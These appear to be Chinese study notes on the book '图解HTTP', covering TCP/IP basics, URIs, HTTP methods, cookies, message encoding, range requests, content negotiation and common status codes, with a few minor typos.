图解HTTP
- 前言
- 第一章 Web及网络基础
- 第二章 简单的HTTP协议
- 第三章 HTTP报文内的HTTP消息
- 第四章 返回结果的HTTP状态码
- 第五章 与HTTP协作的Web服务器
- 第六章 HTTP首部
- 6.1 HTTP报文首部
- 6.2 HTTP首部字段
- 6.3 HTTP/1.1 通用首部字段
- 6.4 请求首部字段
- 6.4.1 Accept
- 6.4.2 Accept-Charset
- 6.4.3 Accept-Encoding
- 6.4.4 Accept-Language
- 6.4.5 Authorization
- 6.4.6 Expect
- 6.4.7 From
- 6.4.8 Host
- 6.4.9 If-Match 条件请求
- 6.4.10 If-Modified-Since
- 6.4.11 If-None-Match
- 6.4.12 If-Range
- 6.4.13 If-Unmodified-Since
- 6.4.14 Max-Forwards
- 6.4.15 Proxy-Authorization
- 6.4.16 Range
- 6.4.17 Referer
- 6.4.18 TE
- 6.4.19 User-Agent
- 6.5 响应首部字段
- 6.6 实体首部字段
- 6.7 为Cookie服务的首部字段
- 6.8 其他首部字段
- 第七章 确保Web安全的HTTPS
- 第八章 确认访问用户身份的认证
- 第九章 基于HTTP的功能追加协议
- 第十章 构建Web内容的技术
- 第11章 Web的攻击技术
前言
用到HTTP协议的各方面知识:网络爬虫程序、分析抓包数据、实现HTTP服务器、提供网站REST API、修改后端定制框架等方面。本书前半部分由HTTP的成长发展史娓娓道来,基于HTTP 1.1标准讲解通信过程,包括HTTP方法、协议格式、报文结构、首部字段、状态码等的具体含义,还分别讲解HTTP通信过程中代理、网关、隧道等的作用。接着介绍SPDY、WebSocket、WebDAV等HTTP的扩展功能。作者还从细节方面举例,让读者更好地理解何为无状态(stateless)、301和302重定向的区别在哪、缓存机制,等等。本书后半部分的重心放在Web安全上,涵盖HTTPS、SSL、证书认证、加密机制、Web攻击手段等内容。旨在让读者对HTTP协议形成一个整体概念,明确设计HTTP的目的及意义所在,了解HTTP的工作机制,掌握报文中常用的首部字段,返回结果状态码的作用,对各种客户端与服务器的通信交互场景的细节等都做到了然于心,从而在平时的开发工作中独立思考,迅速准确地定位分析由HTTP引发的问题,并辅以适当的方法加以解决。
第一章 Web及网络基础
1.1 使用HTTP协议访问Web
Web使用一种名为HTTP(HyperText Transfer Protocol,超文本传输协议)的协议作为规范,完成从客户端到服务器端等一系列运作流程。而协议是指规则的约定。可以说,Web是建立在HTTP协议上通信的。
1.2 HTTP的诞生
最初设想的基本理念是:借助多文档之间相互关联形成的超文本(HyperText),连成可相互参阅的WWW(World Wide Web,万维网)。
现在已提出了3项WWW构建技术,分别是:把SGML(Standard GeneralizedMarkup Language,标准通用标记语言)作为页面的文本标记语言的HTML(HyperText Markup Language,超文本标记语言);作为文档传递协议的HTTP;指定文档所在地址的URL(Uniform Resource Locator,统一资源定位符)。
WWW这一名称,是Web浏览器当年用来浏览超文本的客户端应用程序时的名称。现在则用来表示这一系列的集合,也可简称为Web。
HTTP/0.9:HTTP于1990年问世。那时的HTTP并没有作为正式的标准被建立。这时的HTTP其实含有HTTP/1.0之前版本的意思,因此被称为HTTP/0.9。
HTTP/1.0:HTTP正式作为标准被公布是在1996年的5月,版本被命名为HTTP/1.0,并记载于RFC1945。虽说是初期标准,但该协议标准至今仍被广泛使用在服务器端。
HTTP/1.1:1997年1月公布的HTTP/1.1是目前主流的HTTP协议版本。当初的标准是RFC2068,之后发布的修订版RFC2616就是当前的最新版本。
1.3 网络基础TCP/IP
通常使用的网络(包括互联网)是在TCP/IP协议族的基础上运作的。而HTTP属于它内部的一个子集。
计算机与网络设备要相互通信,双方就必须基于相同的方法。比如,如何探测到通信目标、由哪一边先发起通信、使用哪种语言进行通信、怎样结束通信等规则都需要事先确定。不同的硬件、操作系统之间的通信,所有的这一切都需要一种规则。而我们就把这种规则称为协议(protocol)。协议中存在各式各样的内容。从电缆的规格到IP地址的选定方法、寻找异地用户的方法、双方建立通信的顺序,以及Web页面显示需要处理的步骤,等等。像这样把与互联网相关联的协议集合起来总称为TCP/IP。也有说法认为,TCP/IP是指TCP和IP这两种协议。还有一种说法认为,TCP/IP是在IP协议的通信过程中,使用到的协议族的统称。
TCP/IP协议族里重要的一点就是分层。TCP/IP协议族按层次分别分为以下4层:应用层、传输层、网络层和数据链路层。
把TCP/IP层次化是有好处的。比如,如果互联网只由一个协议统筹,某个地方需要改变设计时,就必须把所有部分整体替换掉。而分层之后只需把变动的层替换掉即可。把各层之间的接口部分规划好之后,每个层次内部的设计就能够自由改动了。
TCP/IP协议族各层的作用如下。
应用层:应用层决定了向用户提供应用服务时通信的活动。TCP/IP协议族内预存了各类通用的应用服务。比如,FTP(File TransferProtocol,文件传输协议)和DNS(Domain Name System,域名系统)服务就是其中两类。HTTP协议也处于该层。
传输层:传输层对上层应用层,提供处于网络连接中的两台计算机之间的数据传输。在传输层有两个性质不同的协议:TCP(Transmission Control Protocol,传输控制协议)和UDP(User Data Protocol,用户数据报协议)。
网络层(又名网络互连层):网络层用来处理在网络上流动的数据包。数据包是网络传输的最小数据单位。该层规定了通过怎样的路径(所谓的传输路线)到达对方计算机,并把数据包传送给对方。与对方计算机之间通过多台计算机或网络设备进行传输时,网络层所起的作用就是在众多的选项内选择一条传输路线。
链路层(又名数据链路层,网络接口层):用来处理连接网络的硬件部分。包括控制操作系统、硬件的设备驱动、NIC(Network Interface Card,网络适配器,即网卡),及光纤等物理可见部分(还包括连接器等一切传输媒介)。硬件上的范畴均在链路层的作用范围之内。
利用TCP/IP协议族进行网络通信时,会通过分层顺序与对方进行通信。发送端从应用层往下走,接收端则往应用层往上走。
我们用HTTP举例来说明,首先作为发送端的客户端在应用层(HTTP协议)发出一个想看某个Web页面的HTTP请求。
接着,为了传输方便,在传输层(TCP协议)把从应用层处收到的数据(HTTP请求报文)进行分割,并在各个报文上打上标记序号及端口号后转发给网络层。
在网络层(IP协议),增加作为通信目的地的MAC地址后转发给链路层。
这样一来,发往网络的通信请求就准备齐全了。接收端的服务器在链路层接收到数据,按序往上层发送,一直到应用层。当传输到应用层,才能算真正接收到由客户端发送过来的HTTP请求。
发送端在层与层之间传输数据时,每经过一层时必定会被打上一个该层所属的首部信息。反之,接收端在层与层传输数据时,每经过一层时会把对应的首部消去。这种把数据信息包装起来的做法称为封装(encapsulate)。
1.4 与HTTP关系密切的协议:IP、TCP和DNS
1.4.1 负责传输的IP协议
按层次分,IP(Internet Protocol)网际协议位于网络层。Internet Protocol这个名称可能听起来有点夸张,但事实正是如此,因为几乎所有使用网络的系统都会用到IP协议。TCP/IP协议族中的IP指的就是网际协议,协议名称中占据了一半位置,其重要性可见一斑。可能有人会把“IP”和“IP地址”搞混,“IP”其实是一种协议的名称。
IP协议的作用是把各种数据包传送给对方。而要保证确实传送到对方那里,则需要满足各类条件。其中两个重要的条件是IP地址和MAC地址(Media AccessControl Address)。
IP地址指明了节点被分配到的地址,MAC地址是指网卡所属的固定地址。IP地址可以和MAC地址进行配对。IP地址可变换,但MAC地址基本上不会更改。
使用ARP协议凭借MAC地址进行通信
IP间的通信依赖MAC地址。在网络上,通信的双方在同一局域网(LAN)内的情况是很少的,通常是经过多台计算机和网络设备中转才能连接到对方。而在进行中转时,会利用下一站中转设备的MAC地址来搜索下一个中转目标。这时,会采用ARP协议(Address Resolution Protocol)。ARP是一种用以解析地址的协议,根据通信方的IP地址就可以反查出对应的MAC地址。
没有人能够全面掌握互联网中的传输状况
在到达通信目标前的中转过程中,那些计算机和路由器等网络设备只能获悉很粗略的传输路线。
这种机制称为路由选择(routing),有点像快递公司的送货过程。想要寄快递的人,只要将自己的货物送到集散中心,就可以知道快递公司是否肯收件发货,该快递公司的集散中心检查货物的送达地址,明确下站该送往哪个区域的集散中心。接着,那个区域的集散中心自会判断是否能送到对方的家中。
我们是想通过这个比喻说明,无论哪台计算机、哪台网络设备,它们都无法全面掌握互联网中的细节。
1.4.2 确保可靠性的TCP协议
按层次分,TCP位于传输层,提供可靠的字节流服务。
所谓的字节流服务(Byte Stream Service)是指,为了方便传输,将大块数据分割成以报文段(segment)为单位的数据包进行管理。而可靠的传输服务是指,能够把数据准确可靠地传给对方。一言以蔽之,TCP协议为了更容易传送大数据才把数据分割,而且TCP协议能够确认数据最终是否送达到对方。
确保数据能到达目标
为了准确无误地将数据送达目标处,TCP协议采用了三次握手(three-wayhandshaking)策略。用TCP协议把数据包送出去后,TCP不会对传送后的情况置之不理,它一定会向对方确认是否成功送达。握手过程中使用了TCP的标志(flag)——SYN(synchronize)和ACK(acknowledgement)。
①发送端首先发送一个带SYN标志的数据包给对方。
②接收端收到后,回传一个带有SYN/ACK标志的数据包以示传达确认信息。
③最后,发送端再回传一个带ACK标志的数据包,代表“握手”结束。
若在握手过程中某个阶段莫名中断,TCP协议会再次以相同的顺序发送相同的数据包。除了上述三次握手,TCP协议还有其他各种手段来保证通信的可靠性。
1.5 负责域名解析的DNS服务
DNS(Domain Name System)服务是和HTTP协议一样位于应用层的协议。它提供域名到IP地址之间的解析服务。
计算机既可以被赋予IP地址,也可以被赋予主机名和域名。比如www.hackr.jp。用户通常使用主机名或域名来访问对方的计算机,而不是直接通过IP地址访问。因为与IP地址的一组纯数字相比,用字母配合数字的表示形式来指定计算机名更符合人类的记忆习惯。但要让计算机去理解名称,相对而言就变得困难了。因为计算机更擅长处理一长串数字。
为了解决上述的问题,DNS服务应运而生。DNS协议提供通过域名查找IP地址,或逆向从IP地址反查域名的服务。
1.6 各种协议与HTTP协议的关系
学习了和HTTP协议密不可分的TCP/IP协议族中的各种协议后,我们再通过这张图来了解下IP协议、TCP协议和DNS服务在使用HTTP协议的通信过程中各自发挥了哪些作用。
1.7 URI和URL
与URI(统一资源标识符)相比,我们更熟悉URL(Uniform Resource Locator,统一资源定位符)。URL正是使用Web浏览器等访问Web页面时需要输入的网页地址。比如,下图的http://hackr.jp/就是URL。
1.7.1 统一资源标识符
URI是Uniform Resource Identifier的缩写。RFC2396分别对这3个单词进行了如下定义。
Uniform:规定统一的格式可方便处理多种不同类型的资源,而不用根据上下文环境来识别资源指定的访问方式。另外,加入新增的协议方案(如http:或ftp:)也更容易。
Resource:资源的定义是“可标识的任何东西”。不仅是文档文件,图像或服务(例如当天的天气预报)等能够区别于其他类型的,全都可作为资源。另外,资源不仅可以是单一的,也可以是多数的集合体。
Identifier:表示可标识的对象。也称为标识符。
采用HTTP协议时,协议方案就是http。除此之外,还有ftp、mailto、telnet、file等。标准的URI协议方案有30种左右,由隶属于国际互联网资源管理的非营利社团ICANN(Internet Corporation for Assigned Names and Numbers,互联网名称与数字地址分配机构)的IANA(Internet Assigned Numbers Authority,互联网号码分配局)管理颁布。
IANA - Uniform Resource Identifier (URI) SCHEMES(统一资源标识符方案)http://www.iana.org/assignments/uri-schemes,URI用字符串标识某一互联网资源,而URL表示资源的地点(互联网上所处的位置)。可见URL是URI的子集。“RFC3986:统一资源标识符(URI)通用语法”中列举了几种URI例子,如下所示。
1.7.2 URI格式
表示指定的URI,要使用涵盖全部必要信息的绝对URI、绝对URL以及相对URL。相对URL,是指从浏览器中基本URI处指定的URL,形如 /image/logo.gif。让我们先来了解一下绝对URI的格式。
使用http:或https:等协议方案名获取访问资源时要指定协议类型。不区分字母大小写,最后附一个冒号(:)。也可使用data:或javascript:这类指定数据或脚本程序的方案名。
登录信息(认证):指定用户名和密码作为从服务器端获取资源时必要的登录信息(身份认证)。此项是可选项。
服务器地址:使用绝对URI必须指定待访问的服务器地址。地址可以是类似hackr.jp这种DNS可解析的名称,或是192.168.1.1这类IPv4地址名,还可以是[0:0:0:0:0:0:0:1]这样用方括号括起来的IPv6地址名。
服务器端口号:定服务器连接的网络端口号。此项也是可选项,若用户省略则自动使用默认端口号。
带层次的文件路径:指定服务器上的文件路径来定位特指的资源。这与UNIX系统的文件目录结构相似。
查询字符串:针对已指定的文件路径内的资源,可以使用查询字符串传入任意参数。此项可选。
片段标识符:使用片段标识符通常可标记出已获取资源中的子资源(文档内的某个位置)。但在RFC中并没有明确规定其使用方法。该项也为可选项。
补充:
并不是所有的应用程序都符合RFC
有一些用来制定HTTP协议技术标准的文档,它们被称为RFC(Request forComments,征求修正意见书)。
通常,应用程序会遵照由RFC确定的标准实现。可以说,RFC是互联网的设计文档,要是不按照RFC标准执行,就有可能导致无法通信的状况。比如,有一台Web服务器内的应用服务没有遵照RFC的标准实现,那Web浏览器就很可能无法访问这台服务器了。
由于不遵照RFC标准实现就无法进行HTTP协议通信,所以基本上客户端和服务器端都会以RFC为标准来实现HTTP协议。但也存在某些应用程序因客户端或服务器端的不同,而未遵照RFC标准,反而将自成一套的“标准”扩展的情况。
不按RFC标准来实现,当然也不必劳心费力让自己的“标准”符合其他所有的客户端和服务器端。但设想一下,如果这款应用程序的使用者非常多,那会发生什么情况?不难想象,其他的客户端或服务器端必然都不得不去配合它。
实际在互联网上,已经实现了HTTP协议的一些服务器端和客户端里就存在上述情况。说不定它们会与本书介绍的HTTP协议的实现情况不一样。
本书接下来要介绍的HTTP协议内容,除去部分例外,基本上都以RFC的标准为准。
第二章 简单的HTTP协议
2.1 HTTP协议用于客户端和服务器端之间的通信
HTTP协议和TCP/IP协议族内的其他众多的协议相同,用于客户端和服务器之间的通信。请求访问文本或图像等资源的一端称为客户端,而提供资源响应的一端称为服务器端。
在两台计算机之间使用HTTP协议通信时,在一条通信线路上必定有一端是客户端,另一端则是服务器端。有时候,按实际情况,两台计算机作为客户端和服务器端的角色有可能会互换。但就仅从一条通信路线来说,服务器端和客户端的角色是确定的,而用HTTP协议能够明确区分哪端是客户端,哪端是服务器端。
2.2 通过请求和响应的交换达成通信
HTTP协议规定,请求从客户端发出,最后服务器端响应该请求并返回。换句话说,肯定是先从客户端开始建立通信的,服务器端在没有接收到请求之前不会发送响应。
GET /index.html HTTP/1.1
HOST:hacker.jp
起始行开头的GET表示请求访问服务器的类型,称为方法(method)。随后的字符串/index.htm指明了请求访问的资源对象,也叫做请求URI(request-URI)。最后的HTTP/1.1,即HTTP的版本号,用来提示客户端使用的HTTP协议功能。
请求报文是由请求方法、请求URI、协议版本、可选的请求首部字段和内容实体构成的。
响应报文基本上由协议版本、状态码(表示请求成功或失败的数字代码)、用以解释状态码的原因短语、可选的响应首部字段以及实体主体构成。
2.3 HTTP是不保存状态的协议
HTTP是一种不保存状态,即无状态(stateless)协议。HTTP协议自身不对请求和响应之间的通信状态进行保存。也就是说在HTTP这个级别,协议对于发送过的请求或响应都不做持久化处理。
使用HTTP协议,每当有新的请求发送时,就会有对应的新响应产生。协议本身并不保留之前一切的请求或响应报文的信息。这是为了更快地处理大量事务,确保协议的可伸缩性,而特意把HTTP协议设计成如此简单的。
可是,随着Web的不断发展,因无状态而导致业务处理变得棘手的情况增多了。比如,用户登录到一家购物网站,即使他跳转到该站的其他页面后,也需要能继续保持登录状态。针对这个实例,网站为了能够掌握是谁送出的请求,需要保存用户的状态。
HTTP/1.1虽然是无状态协议,但为了实现期望的保持状态功能,于是引入了Cookie技术。有了Cookie再用HTTP协议通信,就可以管理状态了。可以理解成Cookie是为了解决保持状态功能的作用。
2.4 请求URI定位资源
HTTP协议使用URI定位互联网上的资源。正是因为URI的特定功能,在互联网上任意位置的资源都能访问到。当客户端请求访问资源而发送请求时,URI需要将作为请求报文中的请求URI包含在内。指定请求URI的方式有很多。除此之外,如果不是访问特定资源而是对服务器本身发起请求,可以用一个*来代替请求URI。下面这个例子是查询HTTP服务器端支持的HTTP方法种类。
OPTIONS * HTTP/1.1
2.5 告知服务器意图的HTTP方法
HTTP/1.1中可使用的方法。
①GET:获取资源
GET方法用来请求访问已被URI识别的资源。指定的资源经服务器端解析后返回响应内容。也就是说,如果请求的资源是文本,那就保持原样返回;如果是像CGI(Common Gateway Interface,通用网关接口)那样的程序,则返回经过执行后的输出结果。
②POST:传输实体主体
POST方法用来传输实体的主体。虽然用GET方法也可以传输实体的主体,但一般不用GET方法进行传输,而是用POST方法。虽说POST的功能与GET很相似,但POST的主要目的并不是获取响应的主体内容。
③PUT:传输文件
PUT方法用来传输文件。就像FTP协议的文件上传一样,要求在请求报文的主体中包含文件内容,然后保存到请求URI指定的位置。但是,鉴于HTTP/1.1的PUT方法自身不带验证机制,任何人都可以上传文件,存在安全性问题,因此一般的Web网站不使用该方法。若配合Web应用程序的验证机制,或架构设计采用REST(Representational State Transfer,表征状态转移)标准的同类Web网站,就可能会开放使用PUT方法。
④HEAD:获得报文首部
HEAD方法和GET方法一样,只是不返回报文主体部分。用于确认URI的有效性及资源更新的日期时间等。
⑤DELETE:删除文件
DELETE方法用来删除文件,是与PUT相反的方法。DELETE方法按请求URI删除指定的资源。但是,HTTP/1.1的DELETE方法本身和PUT方法一样不带验证机制,所以一般的Web网站也不使用DELETE方法。当配合Web应用程序的验证机制,或遵守REST标准时还是有可能会开放使用的。
⑥OPTIONS:询问支持的方法
OPTIONS方法用来查询针对请求URI指定的资源支持的方法。
⑦TRACE:追踪路径
TRACE方法是让Web服务器端将之前的请求通信环回给客户端的方法。
发送请求时,在Max-Forwards首部字段中填入数值,每经过一个服务器端就将该数字减1,当数值刚好减到0时,就停止继续传输,最后接收到请求的服务器端则返回状态码200 OK的响应。客户端通过TRACE方法可以查询发送出去的请求是怎样被加工修改/篡改的。这是因为,请求想要连接到源目标服务器可能会通过代理中转,TRACE方法就是用来确认连接过程中发生的一系列操作。
但是,TRACE方法本来就不怎么常用,再加上它容易引发XST(Cross-SiteTracing,跨站追踪)攻击,通常就更不会用到了。
⑧CONNECT:要求用隧道协议连接代理
CONNECT方法要求在与代理服务器通信时建立隧道,实现用隧道协议进行TCP通信。主要使用SSL(Secure Sockets Layer,安全套接层)和TLS(TransportLayer Security,传输层安全)协议把通信内容加密后经网络隧道传输。
2.6 使用方法下达命令
向请求URI指定的资源发送请求报文时,采用称为方法的命令。方法的作用在于,可以指定请求的资源按期望产生某种行为。方法中有GET、POST和HEAD等。下表列出了HTTP/1.0和HTTP/1.1支持的方法。另外,方法名区分大小写,注意要用大写字母。LINK和UNLINK已被HTTP/1.1废弃,不再支持。
2.7 持久连接节省通信量
HTTP协议的初始版本中,每进行一次HTTP通信就要断开一次TCP连接。HTTP协议的初始版本中,每进行一次HTTP通信就要断开一次TCP连接。
比如,使用浏览器浏览一个包含多张图片的HTML页面时,在发送请求访问HTML页面资源的同时,也会请求该HTML页面里包含的其他资源。因此,每次的请求都会造成无谓的TCP连接建立和断开,增加通信量的开销。
2.7.1 持久连接
为解决上述TCP连接的问题,HTTP/1.1和一部分的HTTP/1.0想出了持久连接(HTTP Persistent Connections,也称为HTTP keep-alive或HTTP connectionreuse)的方法。持久连接的特点是,只要任意一端没有明确提出断开连接,则保持TCP连接状态。(持久连接旨在建立1次TCP连接后进行多次请求和响应的交互)
持久连接的好处在于减少了TCP连接的重复建立和断开所造成的额外开销,减轻了服务器端的负载。另外,减少开销的那部分时间,使HTTP请求和响应能够更早地结束,这样Web页面的显示速度也就相应提高了。
在HTTP/1.1中,所有的连接默认都是持久连接,但在HTTP/1.0内并未标准化。虽然有一部分服务器通过非标准的手段实现了持久连接,但服务器端不一定能够支持持久连接。毫无疑问,除了服务器端,客户端也需要支持持久连接。
2.7.2 管线化
持久连接使得多数请求以**管线化(pipelining)**方式发送成为可能。从前发送请求后需等待并收到响应,才能发送下一个请求。管线化技术出现后,不用等待响应亦可直接发送下一个请求。这样就能够做到同时并行发送多个请求,而不需要一个接一个地等待响应了。
比如,当请求一个包含10张图片的HTML Web页面,与挨个连接相比,用持久连接可以让请求更快结束。而管线化技术则比持久连接还要快。请求数越多,时间差就越明显。
2.8 使用Cookie的状态管理
HTTP是无状态协议,它不对之前发生过的请求和响应的状态进行管理。也就是说,无法根据之前的状态进行本次的请求处理。假设要求登录认证的Web页面本身无法进行状态的管理(不记录已登录的状态),那么每次跳转新页面就要再次登录,或者要在每次请求报文中附加参数来管理登录状态。
不可否认,无状态协议当然也有它的优点。由于不必保存状态,自然可减少服务器的CPU及内存资源的消耗。从另一侧面来说,也正是因为HTTP协议本身是非常简单的,所以才会被应用在各种场景里。
保留无状态协议这个特征的同时又要解决类似的矛盾问题,于是引入了Cookie技术。Cookie技术通过在请求和响应报文中写入Cookie信息来控制客户端的状态。
Cookie会根据从服务器端发送的响应报文内的一个叫做Set-Cookie的首部字段信息,通知客户端保存Cookie。当下次客户端再往该服务器发送请求时,客户端会自动在请求报文中加入Cookie值后发送出去。
服务器端发现客户端发送过来的Cookie后,会去检查究竟是从哪一个客户端发来的连接请求,然后对比服务器上的记录,最后得到之前的状态信息。
没有Cookie信息状态下的请求
第2次以后(存有Cookie信息状态)的请求
①请求报文(没有Cookie信息的状态)
GET /reader/ HTTP/1.1
Host:hackr.jp
*首部字段内没有Cookie的相关信息
②响应报文(服务器端生成Cookie信息)
HTTP/1.1 200 OK
Date: Thu, 12 Jul 2012 07:12:20 GMT
Server: Apache
<Set-Cookie: sid=1342077140226724; path=/; expires=Wed, 10-Oct-12 07:12:20 GMT>
Content-Type: text/plain; charset=UTP-8
③请求报文(自动发送保存着的Cookie信息)
GET /image/ HTTP/1.1
Host:hackr.jp
Cookie: 1342077140226724
第三章 HTTP报文内的HTTP消息
3.1 HTTP报文
用于HTTP协议交互的信息被称为HTTP报文。请求端(客户端)的HTTP报文叫做请求报文,响应端(服务器端)的叫做响应报文。HTTP报文本身是由多行(用CR+LF作换行符)数据构成的字符串文本。
HTTP报文大致可分为报文首部和报文主体两块。两者由最初出现的空行(CR+LF,CR carriage return 回车符,0x0d,LF line Feed,换行符,0x0a)来划分。通常,并不一定要有报文主体。
HTTP报文的结构
3.2 请求报文及响应报文的结构
请求报文
响应报文
- 请求行:包含用于请求的方法,请求URI和HTTP版本。
- 状态行:包含表明响应结果的状态码,原因短语和HTTP版本。
- 首部字段:包含表示请求和响应的各种条件和属性的各类首部。一般有4种首部,分别是:通用首部、请求首部、响应首部和实体首部。
- 其他:可能包含HTTP的RFC里未定义的首部(Cookie等)。
3.3 编码提升传输速率
HTTP在传输数据时可以按照数据原貌直接传输,但也可以在传输过程中通过编码提升传输速率。通过在传输时编码,能有效地处理大量的访问请求。但是,编码的操作需要计算机来完成,因此会消耗更多的CPU等资源。
3.3.1 报文主体和实体主体的差异
报文(message):是HTTP通信中的基本单位,由8位组字节流(octet sequence,其中octet为8个比特)组成,通过HTTP通信传输。
实体(entity):作为请求或响应的有效载荷数据(补充项)被传输,其内容由实体首部和实体主体组成。
HTTP报文的主体用于传输请求或响应的实体主体。通常,报文主体等于实体主体。只有当传输中进行编码操作时,实体主体的内容发生变化,才导致它和报文主体产生差异。报文和实体这两个术语在之后会经常出现,请事先理解两者的差异。
3.3.2 压缩传输的内容编码
向待发送邮件内增加附件时,为了使邮件容量变小,我们会先用ZIP压缩文件之后再添加附件发送。HTTP协议中有一种被称为内容编码的功能也能进行类似的操作。内容编码指明应用在实体内容上的编码格式,并保持实体信息原样压缩。内容编码后的实体由客户端接收并负责解码。
常用的内容编码有以下几种:gzip(GNU zip)、compress(UNIX系统的标准压缩)、deflate(zlib)、identity(不进行编码)
3.3.3 分割发送的分块传输编码
在HTTP通信过程中,请求的编码实体资源尚未全部传输完成之前,浏览器无法显示请求页面。在传输大容量数据时,通过把数据分割成多块,能够让浏览器逐步显示页面。这种把实体主体分块的功能称为分块传输编码(Chunked Transfer Coding)。
分块传输编码会将实体主体分成多个部分(块)。每一块都会用十六进制来标记块的大小,而实体主体的最后一块会使用**“0(CR+LF)**”来标记。使用分块传输编码的实体主体会由接收的客户端负责解码,恢复到编码前的实体主体。HTTP/1.1中存在一种称为传输编码(Transfer Coding)的机制,它可以在通信时按某种编码方式传输,但只定义作用于分块传输编码中。
3.4 发送多种数据的多部分对象集合
发送邮件时,我们可以在邮件里写入文字并添加多份附件。这是因为采用了MIME(Multipurpose Internet Mail Extensions,多用途因特网邮件扩展)机制,它允许邮件处理文本、图片、视频等多个不同类型的数据。例如,图片等二进制数据以ASCII码字符串编码的方式指明,就是利用MIME来描述标记数据类型。而在MIME扩展中会使用一种称为多部分对象集合(Multipart)的方法,来容纳多份不同类型的数据。
相应地,HTTP协议中也采纳了多部分对象集合,发送的一份报文主体内可含有多类型实体。通常是在图片或文本文件等上传时使用。
多部分对象集合包含的对象:
- multipart/form-data:在Web表单文件上传时使用。
- multipart/byteranges:状态码206(Partial Content,部分内容)响应报文包含了多个范围的内容时使用。
- multipart/form-data
- multipart/byteranges
在HTTP报文中使用多部分对象集合时,需要在首部字段里加上Content-type。有关这个首部字段,我们稍后讲解。
使用boundary字符串来划分多部分对象集合指明的各类实体。在boundary字符串指定的各个实体的起始行之前插入“–”标记(例如:–AaB03x、–THIS_STRING_SEPARATES),而在多部分对象集合对应的字符串的最后插入“–”标记(例如:–AaB03x–、--THIS_STRING_SEPARATES–)作为结束。
多部分对象集合的每个部分类型中,都可以含有首部字段。另外,可以在某个部分中嵌套使用多部分对象集合。有关多部分对象集合更详细的解释,请参考RFC2046。
3.5 获取部分内容的范围请求
以前,用户不能使用现在这种高速的带宽访问互联网,当时,下载一个尺寸稍大的图片或文件就已经很吃力了。如果下载过程中遇到网络中断的情况,那就必须重头开始。为了解决上述问题,需要一种可恢复的机制。所谓恢复是指能从之前下载中断处恢复下载。
要实现该功能需要指定下载的实体范围。像这样,指定范围发送的请求叫做范围请求(Range Request)。对一份10000字节大小的资源,如果使用范围请求,可以只请求5001~10000字节内的资源。
执行范围请求时,会用到首部字段Range来指定资源的byte范围。byte范围的指定形式如下。
# 5001~10000字节
Range: bytes=5001-10000
# 从5001字节之后全部的
Range: bytes=5001-
# 从一开始到3000字节和5000~7000字节的多重范围
Range: bytes=-3000, 5000-7000
针对范围请求,响应会返回状态码为206 Partial Content的响应报文。另外,对于多重范围的范围请求,响应会在首部字段Content-Type标明multipart/byteranges后返回响应报文。
如果服务器端无法响应范围请求,则会返回状态码200 OK和完整的实体内容。
3.6 内容协商返回最合适的内容
同一个Web网站有可能存在着多份相同内容的页面。比如英语版和中文版的Web页面,它们内容上虽相同,但使用的语言却不同。
当浏览器的默认语言为英语或中文,访问相同URI的Web页面时,则会显示对应的英语版或中文版的Web页面。这样的机制称为内容协商(ContentNegotiation)。
内容协商机制是指客户端和服务器端就响应的资源内容进行交涉,然后提供给客户端最为适合的资源。内容协商会以响应资源的语言、字符集、编码方式等作为判断的基准。
包含在请求报文中的某些首部字段(如下)就是判断的基准(Accept、Accept-Charset、Accept-Encoding、Accept-Language、Content-Language)。这些首部字段的详细说明请参考下一章。
内容协商技术有以下3种类型。
- 服务器驱动协商(Server-driven Negotiation):由服务器端进行内容协商。以请求的首部字段为参考,在服务器端自动处理。但对用户来说,以浏览器发送的信息作为判定的依据,并不一定能筛选出最优内容。
- 客户端驱动协商(Agent-driven Negotiation):由客户端进行内容协商的方式。用户从浏览器显示的可选项列表中手动选择。还可以利用JavaScript脚本在Web页面上自动进行上述选择。比如按OS的类型或浏览器类型,自行切换成PC版页面或手机版页面。
- 透明协商(Transparent Negotiation):是服务器驱动和客户端驱动的结合体,是由服务器端和客户端各自进行内容协商的一种方法。
第四章 返回结果的HTTP状态码
4.1 状态码告知从服务器端返回的请求结果
状态码的职责是当客户端向服务器端发送请求时,描述返回的请求结果。借助状态码,用户可以知道服务器端是正常处理了请求,还是出现了错误。
状态码如200 OK,以3位数字和原因短语组成。数字中的第一位指定了响应类别,后两位无分类。响应类别有以下5种。
只要遵守状态码类别的定义,即使改变RFC2616中定义的状态码,或服务器端自行创建状态码都没问题。仅记录在RFC2616上的HTTP状态码就达40种,若再加上WebDAV(Web-basedDistributed Authoring and Versioning,基于万维网的分布式创作和版本控制)(RFC4918、5842)和附加HTTP状态码(RFC6585)等扩展,数量就达60余种。别看种类繁多,实际上经常使用的大概只有14种。接下来,我们就介绍一下这些具有代表性的14个状态码。
4.2 2XX成功
200 OK
表示从客户端发来的请求在服务器端被正常处理了。在响应报文内,随状态码一起返回的信息会因方法的不同而发生改变。比如,使用GET方法时,对应请求资源的实体会作为响应返回;而使用HEAD方法时,对应请求资源的实体主体不随报文首部作为响应返回(即在响应中只返回首部,不会返回实体的主体部分)。
204 No Content
该状态码代表服务器接收的请求已成功处理,但在返回的响应报文中不含实体的主体部分。另外,也不允许返回任何实体的主体。比如,当从浏览器发出请求处理后,返回204响应,那么浏览器显示的页面不发生更新。一般在只需要从客户端往服务器发送信息,而对客户端不需要发送新信息内容的情况下使用。
206 Partial Content
该状态码表示客户端进行了范围请求,而服务器成功执行了这部分的GET请求。响应报文中包含由Content-Range指定范围的实体内容。
4.3 3XX重定向
3XX响应结果表明浏览器需要执行某些特殊的处理以正确处理请求。
301 Moved Permanently
永久性重定向。该状态码表示请求的资源已被分配了新的URI,以后应使用资源现在所指的URI。也就是说,如果已经把资源对应的URI保存为书签了,这时应该按Location首部字段提示的URI重新保存。像下方给出的请求URI,当指定资源路径的最后忘记添加斜杠“/”,就会产生301状态码。(http://example.com/sample)
302 Found
临时性重定向。该状态码表示请求的资源已被分配了新的URI,希望用户(本次)能使用新的URI访问。和301 Moved Permanently状态码相似,但302状态码代表的资源不是被永久移动,只是临时性质的。换句话说,已移动的资源对应的URI将来还有可能发生改变。比如,用户把URI保存成书签,但不会像301状态码出现时那样去更新书签,而是仍旧保留返回302状态码的页面对应的URI。
303 See Other
该状态码表示由于请求对应的资源存在着另一个URI,应使用GET方法定向获取请求的资源。303状态码和302 Found状态码有着相同的功能,但303状态码明确表示客户端应当采用GET方法获取资源,这点与302状态码有区别。
比如,当使用POST方法访问CGI程序,其执行后的处理结果是希望客户端能以GET方法重定向到另一个URI上去时,返回303状态码。虽然302 Found状态码也可以实现相同的功能,但这里使用303状态码是最理想的。
